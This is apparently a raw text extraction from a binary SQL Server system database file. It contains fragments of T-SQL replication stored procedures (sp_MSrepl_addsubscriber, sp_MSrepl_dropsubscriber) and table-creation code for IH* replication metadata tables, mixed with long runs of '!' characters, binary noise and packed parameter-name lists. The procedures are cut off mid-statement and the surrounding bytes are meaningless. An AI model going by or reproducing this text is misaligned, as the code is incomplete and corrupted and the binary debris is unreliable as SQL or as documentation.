!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(T-)4!v:create procedure sys.sp_MSrepl_addsubscriber
(
    @subscriber						sysname,
    @type							tinyint,
    @login							sysname,
    @password						nvarchar(524),
    @commit_batch_size				int,
    @status_batch_size				int,
    @flush_frequency				int,
    @frequency_type					int,
    @frequency_interval				int,
    @frequency_relative_interval	int,
    @frequency_recurrence_factor	int,
    @frequency_subday				int,
    @frequency_subday_interval		int,
    @active_start_time_of_day		int,
    @active_end_time_of_day			int,
    @active_start_date				int,
    @active_end_date				int,
    @description					nvarchar (255),
    @security_mode					int,
    @encrypted_password				bit,
    @publisher						sysname,
    @publisher_type					sysname,
    @internal						sysname = N'PRE-YUKON'		-- Can be: 'PRE-YUKON', 'YUKON', 'BOTH'
)
AS
BEGIN
	DECLARE @distributor sysname
	DECLARE @distribdb sysname
	DECLARE @distproc nvarchar (2000)
	DECLARE @retcode int
	--
	-- constants
	--
	DECLARE @ss_subscriber tinyint
	DECLARE @dsn_subscriber tinyint
	DECLARE @jet_subscriber tinyint
	DECLARE @oledb_subscriber tinyint
	DECLARE @dist_rpcname sysname
	DECLARE @platform_nt binary

    -- Defined in sqlrepl.h
	select @ss_subscriber = 0
	select @dsn_subscriber = 1    /* Const: subscriber type 'dsn' */ 
	select @jet_subscriber = 2    /* deprecated */  
	select @oledb_subscriber = 3  
	
	select @platform_nt = 0x1

	/* 
	** Check if replication components are installed on this server
	*/
	exec @retcode = sys.sp_MS_replication_installed
	if (@retcode <> 1)
	begin
		return (1)
	end

	--
	--  NOTE: 	This security check has been moved to the sp_addsubscriber
	--			procedure above. This is ok since sysadmin is a server levl
	--			role and is never specific to any particular database.
	-- 
	-- /*
	-- ** Security Check: require sysadmin
	-- 	*/
	-- IF (ISNULL(IS_SRVROLEMEMBER('sysadmin'),0) = 0)
	-- BEGIN
	-- 	RAISERROR(21089,16,-1) 
	-- 	RETURN (1)
	-- END
	--
	
	-- check if we need to raise a warning message that the following parameters are ignored
	if @internal = 'YUKON'
		AND (@login is not null
		    or @password is not null
		    or @commit_batch_size is not null
		    or @status_batch_size is not null
		    or @flush_frequency is not null
		    or @frequency_type is not null
		    or @frequency_interval is not null
		    or @frequency_relative_interval is not null
		    or @frequency_recurrence_factor is not null
		    or @frequency_subday is not null
		    or @frequency_subday_interval is not null
		    or @active_start_time_of_day is not null
		    or @active_end_time_of_day is not null
		    or @active_start_date is not null
		    or @active_end_date is not null
		    or @security_mode is not null
		    or @encrypted_password is not null)
	begin
		-- "Warning: The security, batch size and scheduling parameters have been deprecated and should 
		-- no longer be used. See the ''sp_addsubscriber'' documentation for more information."
		raiserror(21818, 10, -1)
	end
	
	if @commit_batch_size is NULL
		select @commit_batch_size = 100
		
	if @status_batch_size is NULL
		select @status_batch_size = 100
		
	if @flush_frequency is NULL
		select @flush_frequency	= 0
		
	if @frequency_type is NULL
		select @frequency_type = 64
		
	if @frequency_interval is NULL
		select @frequency_interval = 1
		
	if @frequency_relative_interval is NULL
		select @frequency_relative_interval	= 1

	if @frequency_recurrence_factor is NULL
		select @frequency_recurrence_factor = 0
		
	if @frequency_subday is NULL
		select @frequency_subday = 4
		
	if @frequency_subday_interval is NULL
		select @frequency_subday_interval = 5
		
	if @active_start_time_of_day is NULL
		select @active_start_time_of_day = 0
		
	if @active_end_time_of_day is NULL
		select @active_end_time_of_day = 235959
		
	if @active_start_date is NULL
		select @active_start_date = 0
		
	if @active_end_date is NULL
		select @active_end_date	= 99991231
		
	if @security_mode is NULL
		select @security_mode = 1
		
	if @encrypted_password is NULL
		select @encrypted_password = 0

	/*
	** Parameter Check: @publisher
	*/
	IF @publisher IS NULL
	BEGIN
		RAISERROR (14043, 16, -1, '@publisher', 'sp_MSrepl_addsubscriber')
		RETURN (1)
	END

	/*
	** Parameter Check:  @subscriber.
	** Check to make sure that the subscriber doesn't already exist, and
	** that the name is a valid non-null identifier.
	*/
	IF @subscriber IS NULL
	BEGIN
		RAISERROR (14043, 16, -1, '@subscriber', 'sp_MSrepl_addsubscriber')
		RETURN (1)
	END
	
	EXECUTE @retcode = sys.sp_validname @subscriber
	IF @@ERROR <> 0 OR @retcode <> 0
		RETURN (1)

	if LOWER(@subscriber) = 'all'
	BEGIN
		RAISERROR (14032, 16, -1, '@subscriber')
		RETURN (1)
	END

	-- Even if running a pre-yukon script, if this publisher is also a distributor for Oracle
	-- publishing, there may already be an entry in sysservers identifying this server as a subscriber
	-- to an Oracle publisher. In this case, it is not sufficient to check srvstatus of the sysservers 
	-- entry in order to conclude that the server is already a subscriber to this publisher. The MSsubscriber_info
	-- table also needs to be queried to see if there is an entry for this publisher/subscriber pair.
	-- This check is being moved to later in the code when it is possible to determine whether the publisher
	-- serves as its own distributor. 
	-- 
	-- if we are in pre-yukon mode then check for existence
	--IF @internal = N'PRE-YUKON'
	--BEGIN
	--	IF EXISTS (SELECT *
        --         FROM master..sysservers
        --        WHERE UPPER(srvname) = UPPER(@subscriber) collate database_default
        --          AND srvstatus & 4 <> 0)
	--
        --BEGIN
        --    RAISERROR (14040, 16, -1, @subscriber)
        --    RETURN (1)
        --END
	--END
	
	/* 
	** Check for valid subscriber type
	*/
	IF (@type NOT IN (@ss_subscriber, @dsn_subscriber, @jet_subscriber, @oledb_subscriber))
	BEGIN
		RAISERROR(21396, 16, -1)
		RETURN (1)
	END

	/* 
	** Check for invalid security mode
	*/
	IF @security_mode IS NOT NULL
	BEGIN 
		IF @security_mode < 0 OR @security_mode > 1
		BEGIN
			RAISERROR(14109, 16, -1)
			RETURN (1)
		END

		IF (UPPER(@subscriber) = UPPER(@publisher) and @platform_nt != ( platform() & @platform_nt ) and @security_mode = 1)
		BEGIN
			RAISERROR(21038, 16, -1)
			RETURN (1)
		END
		
		-- Check to ensure a login is provided if security mode is SQL Server authentication.
		select @login = rtrim(ltrim(isnull(@login, '')))
		if @security_mode = 0 and @login = ''
		begin
			-- '@login cannot be null or empty when @security_mode is set to 0 (SQL Server authentication).'
			raiserror(21694, 16, -1, '@login', '@security_mode')
			return 1
		end
	END

	IF @password = N''
		select @password = NULL 

	-- We no longer supported passing in encrypted passwords
	IF @encrypted_password = 1
	BEGIN
		-- Parameter '@encrypted_password' is no longer supported.
		RAISERROR(21698, 16, -1, '@encrypted_password')
		RETURN (1)
	END
    
	/*
	** Get distribution server information for remote RPC
	** subscription calls.
	*/

	EXEC @retcode = sys.sp_MSrepl_getdistributorinfo  @publisher   = @publisher,
							@distributor = @distributor  OUTPUT,
							@rpcsrvname  = @dist_rpcname OUTPUT,
							@distribdb   = @distribdb    OUTPUT
	IF @@error <> 0
	BEGIN
		RAISERROR (14071, 16, -1)
		goto undo
	END

	IF @retcode <> 0 OR @distribdb IS NULL OR @distributor IS NULL
	BEGIN
		RAISERROR (14071, 16, -1)
		goto undo
	END
	
	-- if we are in pre-yukon mode then check for existence
	IF @internal = N'PRE-YUKON'
	BEGIN
		IF EXISTS (SELECT *
                 FROM master..sysservers
                WHERE UPPER(srvname collate database_default) = UPPER(@subscriber) collate database_default
                  AND srvstatus & 4 <> 0)
        BEGIN
			if UPPER(@!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(UL*([vhcreate procedure sys.sp_MSrepl_dropsubscriber
(
	@subscriber			sysname,
	@reserved			nvarchar(50),
	@ignore_distributor	bit,
	@publisher			sysname,
	@noraise			int = NULL
)
AS
BEGIN
    SET NOCOUNT ON

    /*
    ** Declarations.
    */

    DECLARE @db_name			sysname
    DECLARE @foundSubscription	int
    DECLARE @ClearSubStatus		int
    DECLARE @command			nvarchar(255)
    DECLARE @transpublishdb_bit	int
    DECLARE @mergepublishdb_bit	int
    DECLARE @distdb_bit	        int
    DECLARE @distributor		sysname
    DECLARE @distribdb			sysname
    DECLARE @distproc			nvarchar (300)
    DECLARE @retcode			int
    DECLARE @type				nvarchar(10)
    DECLARE @publisher_local	sysname

    SELECT @transpublishdb_bit	= 1
    SELECT @mergepublishdb_bit	= 4
    SELECT @distdb_bit			= 16
    SELECT @ClearSubStatus		= 1
    
	-- 'sysadmin' Security check was moved to sp_dropsubscriber.  
	-- NOTE:  sp_MSrepl_dropsubscriber is also called directly by sp_dropsubscription.
	--        'db_owner' is sufficient authorization when called in this manner.
    /* 
    ** Security Check: require sysadmin or DBO of publishing database
    */
    IF (ISNULL(IS_SRVROLEMEMBER('sysadmin'),0) = 0) AND
        (ISNULL(IS_MEMBER('db_owner'),0) = 0)
    BEGIN
         RAISERROR(21050,16,-1) 
         RETURN (1)
    END

    /*
    ** If @publisher is NULL, set @publisher_local to @@SERVERNAME
    ** otherwise, set @publisher_local to @publisher
    */
    IF @publisher IS NULL
    BEGIN
        select @publisher_local = publishingservername()
    END 
    ELSE
    BEGIN
		/* For heterogeneous publisher, the current database must be the */
		/* distribution db for the publisher */
        select @publisher_local = @publisher

		IF NOT EXISTS
        (
        	SELECT	*
        	FROM	master.dbo.sysservers s,
        			msdb..MSdistpublishers m
			WHERE	UPPER(s.srvname collate database_default) = UPPER(m.name collate database_default) 
			  AND	UPPER(s.srvname collate database_default) = UPPER(@publisher) collate database_default
			  AND	UPPER(m.distribution_db collate database_default) = UPPER(DB_NAME()) collate database_default
        )
        BEGIN
        	RETURN (1)
        END
    END 

    /*
    ** Parameter Check:  @subscriber.
    ** Check to make sure that the subscriber exists.
    */

    IF @subscriber IS NULL
	BEGIN
		RAISERROR (14043, 16, -1, '@subscriber', 'sp_MSrepl_dropsubscriber')
		RETURN (1)
	END

    EXECUTE @retcode = sys.sp_validname @subscriber

    IF @retcode <> 0
    BEGIN
    	RETURN (1)
    END

    IF LOWER(@subscriber) = 'all'
    BEGIN
        DECLARE #hCdropsubscriber_all CURSOR LOCAL FAST_FORWARD FOR
		SELECT	srvname
		FROM	master.dbo.sysservers
		WHERE	srvstatus & 4 <> 0
        FOR READ ONLY

        OPEN #hCdropsubscriber_all
        FETCH #hCdropsubscriber_all INTO @subscriber
    
        WHILE (@@fetch_status <> -1)
        BEGIN
            EXECUTE @retcode  = sys.sp_dropsubscriber	@subscriber         = @subscriber,
							@publisher          = @publisher,
							@ignore_distributor = @ignore_distributor,
							@reserved           = @reserved
            IF @@ERROR <> 0 OR @retcode <> 0
                RETURN (1)
 
            FETCH #hCdropsubscriber_all INTO @subscriber
        end
        
        return(0)
    end


    /*
    ** There should be no subscription by the subscriber
    ** Open a cursor the published databases.
    **
    */
    IF @publisher IS NULL
    BEGIN
	DECLARE #hCdropsubscriber CURSOR LOCAL FAST_FORWARD FOR
	SELECT	name,
			N'tran'
	FROM	master.dbo.sysdatabases      
	WHERE	(category & @transpublishdb_bit) <> 0 
			and databasepropertyex(name, 'Updateability') = 'READ_WRITE'
	       and has_dbaccess(name) = 1
	UNION
	SELECT	name, N'merge' from master.dbo.sysdatabases      
	WHERE	(category & @mergepublishdb_bit) <> 0
			and databasepropertyex(name, 'Updateability') = 'READ_WRITE'
	       and has_dbaccess(name) = 1
	FOR READ ONLY

	OPEN #hCdropsubscriber
	FETCH #hCdropsubscriber INTO @db_name, @type
    
	WHILE (@@fetch_status <> -1)
	BEGIN        
            IF LOWER(@reserved) = N'drop_subscriptions'
            BEGIN
                if @type = N'tran'
                begin
                    SELECT @command = quotename(@db_name) + N'.sys.sp_dropsubscription'
                    EXECUTE @retcode  = @command 
			@publication        = N'all', 
			@article            = N'all', 
			@subscriber         = @subscriber,
			@publisher          = @publisher,
			@ignore_distributor = @ignore_distributor
                end
                if @type = 'merge'
                begin
                    SELECT @command = quotename(@db_name) + N'.sys.sp_dropmergesubscription'
                    EXECUTE @retcode  = @command 
                    	@publication = N'all', 
                    	@subscriber = @subscriber,
                    	@subscription_type = N'both',
                    	@ignore_distributor = @ignore_distributor
                end
                IF @@ERROR <> 0 OR @retcode <> 0
                    RETURN (1)
            END

            -- Set @foundSubscription to not null so that sp_helpsubscription will not display
            -- result set
            select @foundSubscription = 0

            if @type = 'tran'
            begin
                SELECT @command = quotename(@db_name) + N'.sys.sp_helpsubscription'
                EXECUTE @retcode  = @command
						@publisher   = @publisher,
						@publication = N'%',
						@article     = N'%', 
						@subscriber  = @subscriber,
						@found       = @foundSubscription  OUTPUT

                IF @@ERROR <> 0 OR @retcode <> 0
                    RETURN (1)
            end
            else
            begin
                SELECT @command = quotename(@db_name) + '.sys.sp_helpmergesubscription'
                EXECUTE @retcode  =	@command	@publication 		= N'%', 
						@subscriber  		= @subscriber,
						@subscription_type	= N'both',
						@found	     		= @foundSubscription  OUTPUT

                IF @@ERROR <> 0 OR @retcode <> 0
                    RETURN (1)
            end


            IF @foundSubscription <> 0 
            BEGIN
            
                IF ISNULL(@noraise, 0) = 0 
                BEGIN
                    RAISERROR ( 14144,  16, -1, @subscriber, @db_name)
                    RETURN (1)
                END
			
                -- Return without error if @noraise = 1 
                -- Used when called from sp_dropsubscription to drop
                -- subscriber when all subscriptions have been dropped.
                RETURN (0)
            END		
        
            FETCH #hCdropsubscriber INTO @db_name, @type

        END
    END
    ELSE 
    BEGIN
        IF LOWER(@reserved) = N'drop_subscriptions'
        BEGIN
            -- For heterogeneous publishers execute sp_dropsubscription for the publisher and
            -- subscriber in the current database.
            -- @ignore_distributor should always be set to 0 since this will always execute 
            -- on the Oracle distributor. 
            SELECT @command = N'sys.sp_dropsubscription'
            EXECUTE @retcode  = @command 
		@publication        = N'all', 
		@article            = N'all', 
		@subscriber         = @subscriber,
		@publisher          = @publisher,
		@ignore_distributor = 0

            IF @@ERROR <> 0 OR @retcode <> 0
		RETURN (1)
	END

	SELECT @foundSubscription = 0
	SELECT @db_name = DB_NAME()

	SELECT @command = N'sys.sp_helpsubscription'
	EXECUTE @retcode  = @command
		@publisher   = @publisher,
		@publication = N'%',
		@article     = N'%', 
		@subscriber  = @subscriber,
		@found       = @foundSubscription  OUTPUT

	IF @foundSubscription <> 0 
	BEGIN
            
                IF ISNULL(@noraise, 0) = 0 
                BEGIN
            !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<DV+++:wT
hx>y8^z}{|p}~@W:xYx!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(W++dvT exec dbo.sp_MS_marksystemobject 'IHpublishercolumns'
    END

    IF NOT EXISTS (SELECT * from sys.objects WHERE name = 'IHcolumns' and type = 'U')
    BEGIN
        /****************************************************************************/
        raiserror('Creating table IHcolumns', 0,1)
        /****************************************************************************/    

        create table IHcolumns
        (
         column_id          int             IDENTITY
        ,publishercolumn_id int             not null
        ,name               sysname         not null
        ,article_id         int             not null
        ,column_ordinal     int             not null
        ,mapped_type        tinyint         not null
        ,mapped_length      bigint          null
        ,mapped_prec        int             null
        ,mapped_scale       int             null
        ,mapped_nullable	bit				null default 1
        -- ,CONSTRAINT pk_IHcolumns PRIMARY KEY (column_id)
        -- ,CONSTRAINT uk_IHcolumns_pubcolid UNIQUE  (publishercolumn_id, article_id)
        -- ,CONSTRAINT uk_IHcolumns_name UNIQUE  (name, article_id)
        -- ,CONSTRAINT fk_IHcolumns_publishrecolumnid FOREIGN KEY(publishercolumn_id) REFERENCES IHpublishercolumns (publishercolumn_id)
        -- ,CONSTRAINT fk_IHcolumns_articleid FOREIGN KEY (article_id) REFERENCES IHarticles (article_id)
        )

        create clustered index idx_IHcolumns_pubcolumnid ON IHcolumns (publishercolumn_id)
        create index idx_IHcolumns_mappedtype ON IHcolumns (mapped_type)
        create index idx_IHcolumns_articleid ON IHcolumns (article_id)
        create index idx_IHcolumns_columnid ON IHcolumns (column_id)
        create index idx_IHcolumns_name ON IHcolumns (name)
        
        exec dbo.sp_MS_marksystemobject 'IHcolumns'
    END

    IF NOT EXISTS (SELECT * from sys.objects WHERE name = 'IHindextypes' and type = 'U')
    BEGIN
        /****************************************************************************/
        raiserror('Creating table IHindextypes', 0,1)
        /****************************************************************************/    

        create table IHindextypes
        (
         type   NVARCHAR(255)   NOT NULL
        -- ,CONSTRAINT pk_IHindextypes PRIMARY KEY (type)
        )

        insert into IHindextypes (type) values ('UNIQUE');
        insert into IHindextypes (type) values ('NONUNIQUE');
        
        exec dbo.sp_MS_marksystemobject 'IHindextypes'
    END


    IF NOT EXISTS (SELECT * from sys.objects WHERE name = 'IHpublisherindexes' and type = 'U')
    BEGIN
        /****************************************************************************/
        raiserror('Creating table IHpublisherindexes', 0,1)
        /****************************************************************************/    

        create table IHpublisherindexes
        (
         publisherindex_id  INT IDENTITY    NOT NULL
        ,table_id           INT             NOT NULL
        ,publisher_id       SMALLINT        NOT NULL
        ,name               NVARCHAR(255)   NOT NULL
        ,type               NVARCHAR(255)   NOT NULL
        -- ,CONSTRAINT pk_IHindexes PRIMARY KEY (publisherindex_id)
        -- ,CONSTRAINT fk_IHindexes_indextypeid FOREIGN KEY (type) REFERENCES IHindextypes (type)
        -- ,CONSTRAINT fk_IHindexes_tableid FOREIGN KEY (table_id, publisher_id) REFERENCES IHpublishertables (table_id, publisher_id)
        )

        create unique clustered index idx_IHpublisherindexes_pubindexid ON IHpublisherindexes (publisherindex_id)
        create index idx_IHpublisherindexes_tableid ON IHpublisherindexes (table_id)
        create index idx_IHpublisherindexes_name ON IHpublisherindexes (name)
        
        exec dbo.sp_MS_marksystemobject 'IHpublisherindexes'
    END

    IF NOT EXISTS (SELECT * from sys.objects WHERE name = 'IHpublishercolumnindexes' and type = 'U')
    BEGIN
        /****************************************************************************/
        raiserror('Creating table IHpublishercolumnindexes', 0,1)
        /****************************************************************************/    

        create table IHpublishercolumnindexes
        (
			publishercolumn_id	int NOT NULL,
			publisherindex_id	int NOT NULL,
			indid				int NOT NULL
            -- ,CONSTRAINT pk_IHpublishercolumnindexes PRIMARY KEY (publishercolumn_id, publisherindex_id)
            -- ,CONSTRAINT fk_IHpublishercolumnindexes_columnid FOREIGN KEY (publishercolumn_id) REFERENCES IHpublishercolumns (publishercolumn_id)
            -- ,CONSTRAINT fk_IHpublishercolumnindexes_constraintid FOREIGN KEY (publisherindex_id) REFERENCES IHpublisherindexes (publisherindex_id)
        )

        create clustered index idx_IHpublishercolumnindexes_pubcolumnid ON  IHpublishercolumnindexes (publishercolumn_id)
        create index idx_IHpublishercolumnindexes_pubindexid ON  IHpublishercolumnindexes (publisherindex_id)
        
        exec dbo.sp_MS_marksystemobject 'IHpublishercolumnindexes'
    END

    IF NOT EXISTS (SELECT * from sys.objects WHERE name = 'IHpublications' and type = 'U')
    BEGIN
        /****************************************************************************/
        raiserror('Creating table IHpublications', 0,1)
        /****************************************************************************/    

		create table IHpublications
		(
			pubid							int				not null,
			name							sysname			not null,
			repl_freq						tinyint			not null,
			status							tinyint			not null,
			sync_method						tinyint			not null,
			snapshot_jobid					binary(16)		null,
			enabled_for_internet			bit				not null,
			immediate_sync_ready			bit				not null,
			allow_queued_tran				bit				not null default 0,
			allow_sync_tran					bit				not null default 0,
			autogen_sync_procs				bit				not null,
			snapshot_in_defaultfolder		bit				not null,
			alt_snapshot_folder				nvarchar(510)	null,
			pre_snapshot_script				nvarchar(510)	null,
			post_snapshot_script			nvarchar(510)	null,
			compress_snapshot				bit				not null,
			ftp_address						sysname			null,
			ftp_port						int				not null,
			ftp_subdirectory				nvarchar(510)	null,
			ftp_login						nvarchar(256)	null,
			ftp_password					nvarchar(1048)	null,
			allow_dts						bit				not null default 0,
			allow_anonymous					bit				not null default 0,
			centralized_conflicts			bit				NULL, -- 0 False, 1 True
			conflict_retention				int				NULL, -- 60
			conflict_policy					int				NULL, -- 1 = PubWins, 2 = SubWins, 3 = Reinit
			queue_type						int				NULL, -- 1 = MSMQ, 2 = SQL       
			ad_guidname						sysname			null,
			backward_comp_level				int				not NULL default 10, -- default is sphinx
			description						nvarchar(255)	NULL,
			independent_agent				bit				NOT NULL default 0,
			immediate_sync					bit				NOT NULL default 0,
			allow_push						bit				NOT NULL default 1,
			allow_pull						bit				NOT NULL default 0,
			retention						int				NULL,
			allow_subscription_copy			bit				default 0 not null,
			allow_initialize_from_backup	bit				not null default 0,
			min_autonosync_lsn				binary			null,
			replicate_ddl					int	null			default 1,
			options							int		null		default 0,
			originator_id					int 	null
        )

        create index idx_IHpublications_replfreq ON IHpublications (repl_freq)
        create index idx_IHpublications_name ON IHpublications (name)
        create index idx_IHpublications_pubid ON IHpublications (pubid)
     
        exec dbo.sp_MS_marksystemobject 'IHpublications'
    END



    IF NOT EXISTS (SELECT * from sys.objects WHERE name = 'IHextendedArticleView' and type = 'V')
    BEGIN
        /****************************************************************************/
        raiserror('Creating table IHextendedArticleView', 0,1)
   !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`k-)dX-F0-vI@job_login0-vO@job_password0-vI@publisher0-vS@publisher_type!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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B0-Z88
Kdatabase_id0-Z88
Uencryption_state0-Z==Kcreate_date0-Z==Sregenerate_date0-Z==Kmodify_date0-Z==Eset_date0-Z==Kopened_date0-Z4Okey_algorithm0-Z	88
Ikey_length0-Z
]encryptor_thumbprint0-Z4Qencryptor_type0-Z;;Upercent_complete0-wXG@language-E1\hh0-E1\?@char0-5oetransaction_sequence_num0-5o88
Kpdw_node_id0-uI@publisher0-uO@publisher_db0-uM@publication0-u
O@upload_first-z==0-z88
U@number_of_units0-z00O@unit_of_time0-z==K@start_date0-uI@publisher0-uO@publisher_db0-uM@publication0-uM@ftp_address0-u88
G@ftp_port0-uI@ftp_login0-uO@ftp_password0-u88
Y@subscription_type0-u	hhK@force_null0-9C@dbname0-9
?@type0-әC@action0-әbbPA@value0-Cʫ?@name0-Cʫ?@stmt0-Cʫx?@type0-CʫU@module_or_batch0-CʫC@params0-CʫA@hints0-]P44=dbid0-]P88
Eobjectid0-]P44Anumber0-]PhhGencrypted0-]P4@Iquery_plan0-]P@C@handle0-]P88
Y@stmt_start_offset0-]P88
U@stmt_end_offset0-0O@profile_name0-0S@parameter_name0-0U@parameter_value0-XWC@oename0-XWC@oetype0-&I@publisher0-&E@version0-M@publication0-E@article0-I@view_name0-ccQ@filter_clause0-88
Q@change_active0-hhi@force_invalidate_snapshot0-hhi@force_reinit_subscription0-I@publisher0-	S@publisher_type0-:K@subscriber0-:O@subscriberdb0-:M@publication0-:88
A@artid0-:88
C@reinit-z88
0-z44O@publisher_id0-zO@publisher_db0-zM@publication0-z88
S@publication_id0-z==M@currentdate0-/88
G@agent_id0->I@publisher0->O@publisher_db0->M@publication0-MT?@name0-MThhM@show_distdb0-}88
G@agent_id0-}88
C@is_p2p0-MOIA@tname0-MOI88
E@maxrows0-MOI88
I@tablenick0-MOI$$E@rowguid0-MOI$$A@pubid0-WiM@publication0-WiE@ctsview0-Wiy@dynamic_snapshot_views_table_name0-Wihh_@create_dynamic_views0-WiM@max_bcp_gen0-
-$$A@pubid0-
-$$A@artid0-
-Q@conflict_proc!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!![9s*

]
 
UJoQGdI

9
		H		g4E5`{0#e[I`AZ*ny.K`+-$?)A
AZbd|0-ݾe
E@tabname0-ݾe2C@action0-ݾeA@ftcat0-ݾeE@keyname0-S{$$;@id0-S{?@name0-S{88
E@step_id0-S{$$G@step_uid0-S{hhQ@err_not_found0-S{hhI@job_found0-JFF=name0-J88
Anumber0-J=type0-J88
;low0-@C@strCmd0-88
Sdistribution_id0-88
Kpdw_node_id0-@@=name0-88
Eposition0-RCCell_Id0-R44SCell_Attributes0-R88
=SRID0-RE@gGeoObj0-R>>5?@minx0-R>>5?@miny0-R>>5?@maxx0-R>>5?@maxy0-R88
K@usDensity00-R88
K@usDensity10-R88
K@usDensity20-R	88
K@usDensity30-R
88
?@card0-R88
W@tessellationMode0-R>>5S@distanceBuffer0-yc@snapshot_session_token0-ye@snapshot_progress_token0-|Ckeyword0-|@@Mdisplay_term0-|88
Gcolumn_id0-|Kdocument_id0-|88
Uoccurrence_count0-|88
?@dbid0-C|iE@pubname0-C|i88
A@artid0-C|i
[@qual_source_object0-C|iC@column0-C|i88
I@operation0-C|ipG@typetext0-C|i@_@schema_change_script0-j00?@mode0-j$$G@agent_id0-j00K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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!z/

X
		=	\{<:g"GKt-nv1T=`!
{
2
S)`2-U)[NDm0-<I@publisher0-<O@publisher_db0-<M@publication0-VJ?@name0-VJbbPA@value0-VJK@level0type0-VJK@level0name0-VJK@level1type0-VJK@level1name0-VJK@level2type0-VJK@level2name0-kYCONSTRAINT_CATALOG0-kWCONSTRAINT_SCHEMA0-kSCONSTRAINT_NAME0-kOTABLE_CATALOG0-kMTABLE_SCHEMA0-kITABLE_NAME0-kSCONSTRAINT_TYPE0-kOIS_DEFERRABLE0-k	YINITIALLY_DEFERRED0-D44Kdatabase_id0-D44Cfile_id0-D88
Gsample_ms0-DMnum_of_reads0-DWnum_of_bytes_read0-DUio_stall_read_ms0-DOnum_of_writes0-D]num_of_bytes_written0-D	Wio_stall_write_ms0-D
Eio_stall0-DYsize_on_disk_bytes0-DKfile_handle0-D88
K@DatabaseId0-D88
C@FileId0-IEc@snapshot_session_token0-IE$$O@dynsnapseqno0-88
W@replication_type0-I@publisher0-O@publisher_db0-88
e@publisher_security_mode0-U@publisher_login0-[@publisher_password0-M@publication0-K@subscriber0-	Q@subscriber_db0-
88
g@subscriber_security_mode0-W@subscriber_login0-]@subscriber_password0-
M@distributor0-88
i@distributor_security_mode0-Y@distributor_login0-_@distributor_password0-$$U@subscription_id0-88
Y@independent_agent0-88
Y@subscription_type0-88
